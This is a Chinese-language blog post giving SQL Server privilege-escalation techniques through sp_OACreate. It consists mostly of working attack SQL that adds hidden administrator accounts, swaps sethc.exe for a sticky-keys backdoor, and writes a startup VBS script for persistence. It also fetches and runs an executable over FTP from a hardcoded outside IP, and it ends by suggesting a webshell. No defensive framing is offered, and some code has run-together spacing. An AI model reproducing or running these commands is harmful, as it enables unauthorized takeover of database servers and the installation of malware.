SP_OACreate提權經驗

FLy_鵬程萬里發表於2018-05-13

在xp_cmdshell被刪除或者出錯情況下,可以充分利用SP_OACreate進行提權

首先

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;

開啟元件,2005中預設關閉

1)直接加使用者

2000系統:
declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'

declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators123/add'

xp和2003系統:

declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'

declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators123$ /add'

2)貼上鍵替換

declare@o int
execsp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
 

declare@o int
execsp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';

需要同時具備sp_oacreate 和sp_oamethod 兩個功能元件

3)直接傳馬

DECLARE@shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD@shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113> cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echobinary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye>> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q/f&del 1.exe /f /q'--

4)啟動項寫入加賬戶指令碼

declare@sp_passwordxieo int, @f int, @t int, @ret int

execsp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out

execsp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1

exec@ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'

exec@ret = sp_oamethod @f, 'writeline',NULL,'os="WinNT://"&wsnetwork.ComputerName'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Setoe=GetObject(os&"/Administrators,group")'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Setod=ob.Create("user","123$")'

exec@ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'

exec@ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Setof=GetObject(os&"/123$",user)'

exec@ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';

5)如果該伺服器有網站,則直接用方法4)寫入一句話

相關文章